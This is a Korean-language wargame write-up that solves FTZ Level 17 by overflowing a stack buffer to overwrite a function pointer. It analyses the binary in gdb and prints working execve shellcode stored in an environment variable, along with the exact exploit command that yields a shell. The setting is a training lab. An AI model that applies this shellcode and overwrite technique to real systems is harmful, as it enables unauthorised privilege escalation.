FTZ Level 17

bin3635·2021년 8월 10일
0

hint는 다음과 같다.

Level 16의 소스 코드와 비슷하지만, 이번에는 shell 함수가 없고 setreuid 함수가 main 함수 안에서 호출되고 있다. system 함수를 통한 쉘 실행이 없기 때문에 쉘코드를 사용해야 한다.
printit 함수의 시작 주소가 call 포인터의 4바이트 안에 들어가 있기 때문에 환경 변수에 쉘코드를 넣은 뒤 call 포인터의 값을 환경 변수의 주소로 변조하면 될 것 같다.

직접 gdb로 뜯어 보자.

<main+3>에서 스택에 0x38(56바이트)만큼의 공간을 스택에 할당한다.

fgets 함수가 호출되는 <main+28>의 윗부분을 살펴 보자.
전달되는 인자는 buf, 48, stdin이다. <main+22>에서 0x30(10진수로 48)을 push하고 있기 때문에 [ebp-56]이 buf가 위치한 지점이라는 것을 알 수 있다.

<main+6>에서는 0x8048490을 [ebp-16]에 넣고 있다. printit의 시작 주소로 추정된다.
한 번 printit 함수를 뜯어 보자.

예상대로 printit 함수의 시작 주소는 0x08048490이다.
또한 <main+57>과 <main+60>을 보면 call 포인터(=printit 함수)가 [ebp-16]에 위치한다는 것도 알 수 있다.

이번에는 쉘코드를 사용해야 하기 때문에 이전 레벨에서 사용하던 적절한 양의 NOP와 조합한 25바이트 쉘코드를 환경 변수 SHL에 넣었다.

export SHL=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

그리고 다음 프로그램을 이용해 환경 변수의 주소를 찾는다.

#include <stdio.h>
#include <stdlib.h>

int main() {
    printf("address: %p\n", getenv("SHL"));
    return 0;
}

5번 정도 실행해 환경 변수의 위치가 0xbfffff6e라는 것을 알았다.
이제 공격해보자.

공격 명령어는 다음과 같다.

(python -c 'print "A"*40+"\x6e\xff\xff\xbf"'; cat) | ./attackme

Level 18의 쉘을 획득했다.

0개의 댓글